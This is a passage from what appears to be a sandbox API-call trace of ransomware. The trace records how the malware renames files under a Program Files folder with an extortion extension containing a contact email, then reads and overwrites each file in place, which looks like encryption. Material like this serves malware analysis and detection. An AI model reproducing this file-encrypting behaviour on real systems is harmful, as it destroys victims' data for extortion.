Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\index.html") returned 1 [0216.009] GetProcessHeap () returned 0x630000 [0216.009] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74d7f88, Size=0x4fcc) returned 0x74d7f88 [0216.009] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-ch\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0216.010] CloseHandle (hObject=0x42c) returned 1 [0216.010] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0216.010] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-ch\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-ch\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0216.011] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0216.011] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fc6c | out: lpFindFileData=0x323fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c9b, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d52c0 [0216.011] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0216.011] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-ch\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0216.011] GetProcessHeap () returned 0x630000 [0216.011] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9ca1) returned 0x743fb58 [0216.011] GetProcessHeap () returned 0x630000 [0216.011] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9ca1) returned 0x749e1d8 [0216.011] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.011] ReadFile (in: hFile=0x42c, lpBuffer=0x743fb58, nNumberOfBytesToRead=0x9c80, lpNumberOfBytesRead=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x743fb58*, lpNumberOfBytesRead=0x323ff0c*=0x9c80, lpOverlapped=0x0) returned 1 [0220.753] GetProcessHeap () returned 0x630000 [0220.753] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73180f8 [0220.754] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.754] WriteFile (in: hFile=0x42c, lpBuffer=0x749e1d8*, nNumberOfBytesToWrite=0x9c80, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x749e1d8*, lpNumberOfBytesWritten=0x323ff0c*=0x9c80, lpOverlapped=0x0) returned 1 [0220.754] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.754] WriteFile (in: hFile=0x42c, lpBuffer=0x74a7e57*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74a7e57*, lpNumberOfBytesWritten=0x323ff0c*=0x20, lpOverlapped=0x0) returned 1 [0220.755] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.755] WriteFile (in: hFile=0x42c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x323ff0c*=0x4, lpOverlapped=0x0) returned 1 [0220.755] CloseHandle (hObject=0x42c) returned 1 [0220.755] GetProcessHeap () returned 0x630000 [0220.755] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x749e1d8 | out: hHeap=0x630000) returned 1 [0220.755] GetProcessHeap () returned 0x630000 [0220.755] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x743fb58 | out: hHeap=0x630000) returned 1 [0220.755] GetProcessHeap () returned 0x630000 [0220.755] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73180f8 | out: hHeap=0x630000) returned 1 [0220.755] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.755] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fcc4 | out: lpFindFileData=0x323fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4986cc26, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9cbf, dwReserved0=0xc0c7496, dwReserved1=0x743fb50, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5040 [0220.755] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0220.756] Sleep (dwMilliseconds=0x1) [0222.215] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\index.html", len=0x74 | out: pbstr=0x323ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\index.html") returned 1 [0222.215] GetProcessHeap () returned 0x630000 [0222.215] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5190) returned 0x6fe3bb0 [0222.215] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sr-latn-rs\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0225.772] CloseHandle (hObject=0x69c) returned 1 [0225.772] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0225.772] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sr-latn-rs\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sr-latn-rs\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0225.792] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.792] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fc6c | out: lpFindFileData=0x323fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92906e91, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c5b, dwReserved0=0x340032, dwReserved1=0x330038, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5280 [0225.792] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0225.799] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sr-latn-rs\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0225.799] GetProcessHeap () returned 0x630000 [0225.799] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9c61) returned 0x6f06978 [0225.799] GetProcessHeap () returned 0x630000 [0225.799] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9c61) returned 0x72a3b20 [0225.800] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.800] ReadFile (in: hFile=0x69c, lpBuffer=0x6f06978, nNumberOfBytesToRead=0x9c40, lpNumberOfBytesRead=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f06978*, lpNumberOfBytesRead=0x323ff0c*=0x9c40, lpOverlapped=0x0) returned 1 [0231.494] GetProcessHeap () returned 0x630000 [0231.494] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176b10 [0231.494] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.494] WriteFile (in: hFile=0x69c, lpBuffer=0x72a3b20*, nNumberOfBytesToWrite=0x9c40, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72a3b20*, lpNumberOfBytesWritten=0x323ff0c*=0x9c40, lpOverlapped=0x0) returned 1 [0233.033] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.033] WriteFile (in: hFile=0x69c, lpBuffer=0x72ad75f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72ad75f*, lpNumberOfBytesWritten=0x323ff0c*=0x20, lpOverlapped=0x0) returned 1 [0233.621] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.621] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x323ff0c*=0x4, lpOverlapped=0x0) returned 1 [0233.621] CloseHandle (hObject=0x69c) returned 1 [0233.982] GetProcessHeap () returned 0x630000 [0233.983] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72a3b20 | out: hHeap=0x630000) returned 1 [0233.983] GetProcessHeap () returned 0x630000 [0233.983] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f06978 | out: hHeap=0x630000) returned 1 [0233.983] GetProcessHeap () returned 0x630000 [0233.983] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176b10 | out: hHeap=0x630000) returned 1 [0235.150] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.150] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fcc4 | out: lpFindFileData=0x323fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92906e91, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x51325729, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9c7f, dwReserved0=0xc0c7496, dwReserved1=0x6f06970, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5400 [0235.151] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0235.151] Sleep (dwMilliseconds=0x1) [0235.157] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\Windows Security\\BrowserCore\\manifest.json", len=0x3b | out: pbstr=0x323ff7c*="C:\\Program Files\\Windows Security\\BrowserCore\\manifest.json") returned 1 [0235.157] GetProcessHeap () returned 0x630000 [0235.157] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50b8) returned 0x6fe3bb0 [0235.157] CreateFileW (lpFileName="C:\\Program Files\\Windows Security\\BrowserCore\\manifest.json" (normalized: "c:\\program files\\windows security\\browsercore\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.167] Sleep (dwMilliseconds=0x1) [0235.177] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x323ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\toastreviewsettings.xml") returned 1 [0235.177] GetProcessHeap () returned 0x630000 [0235.177] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5098) returned 0x6fe3bb0 [0235.177] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hu-hu\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0235.177] CloseHandle (hObject=0x4bc) returned 1 [0235.178] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.178] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hu-hu\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hu-hu\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.178] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.179] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fc6c | out: lpFindFileData=0x323fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d51c0 [0235.179] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0235.179] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hu-hu\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0235.179] GetProcessHeap () returned 0x630000 [0235.179] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x6dc658 [0235.179] GetProcessHeap () returned 0x630000 [0235.179] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x6dc2a8 [0235.179] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.179] ReadFile (in: hFile=0x4bc, lpBuffer=0x6dc658, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc658*, lpNumberOfBytesRead=0x323ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0235.181] GetProcessHeap () returned 0x630000 [0235.181] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0235.182] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.182] WriteFile (in: hFile=0x4bc, lpBuffer=0x6dc2a8*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc2a8*, lpNumberOfBytesWritten=0x323ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0235.182] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.182] WriteFile (in: hFile=0x4bc, lpBuffer=0x6dc447*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc447*, lpNumberOfBytesWritten=0x323ff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.182] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.182] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x323ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x323ff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.182] CloseHandle (hObject=0x4bc) returned 1 [0235.182] GetProcessHeap () returned 0x630000 [0235.182] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc2a8 | out: hHeap=0x630000) returned 1 [0235.182] GetProcessHeap () returned 0x630000 [0235.182] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc658 | out: hHeap=0x630000) returned 1 [0235.182] GetProcessHeap () returned 0x630000 [0235.182] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0235.182] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.182] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fcc4 | out: lpFindFileData=0x323fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x521fe8a6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1dd, dwReserved0=0x323fd20, dwReserved1=0x6dc658, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5500 [0235.183] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0235.183] Sleep (dwMilliseconds=0x1) [0235.211] SysReAllocStringLen (in: pbstr=0x323ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\index.html", len=0x6f | out: pbstr=0x323ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\index.html") returned 1 [0235.211] GetProcessHeap () returned 0x630000 [0235.211] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x507c) returned 0x6fe3bb0 [0235.211] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hr-hr\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0235.212] CloseHandle (hObject=0x3f8) returned 1 [0235.212] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.212] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hr-hr\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hr-hr\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.213] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x323ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.213] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x323fc6c | out: lpFindFileData=0x323fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x98b3, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5540 [0235.213] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0235.213] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\hr-hr\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 